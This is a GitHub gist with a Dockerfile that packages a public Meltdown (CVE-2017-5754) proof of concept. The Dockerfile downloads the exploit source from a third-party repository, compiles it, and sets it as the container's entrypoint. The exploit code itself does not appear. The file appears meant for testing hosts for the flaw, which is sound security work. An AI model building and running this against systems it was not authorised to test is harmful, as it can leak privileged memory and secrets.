Last active
January 9, 2018 16:39
-
-
Save Zenithar/5e12a43042d10b837eb0d1be8c3f81a3 to your computer and use it in GitHub Desktop.
Meltdown PoC in an Alpine Docker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# - BUILD ---------------------------------------------------------------------- | |
FROM alpine:latest | |
RUN apk add --update gcc musl-dev wget ca-certificates \ | |
&& wget https://raw.githubusercontent.com/gkaindl/meltdown-poc/master/meltdown.c \ | |
&& cc -O0 meltdown.c -o meltdown | |
# - RUNTIME -------------------------------------------------------------------- | |
FROM alpine:latest | |
LABEL maintainer="Thibault NORMAND <[email protected]>" \ | |
version="0.0.1" \ | |
vulnerability.name="meltdown" \ | |
vulnerability.cve="CVE-2017-5754" \ | |
vulnerability.url="https://meltdownattack.com/" | |
COPY --from=0 /meltdown /usr/local/bin | |
ENTRYPOINT ["/usr/local/bin/meltdown"] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment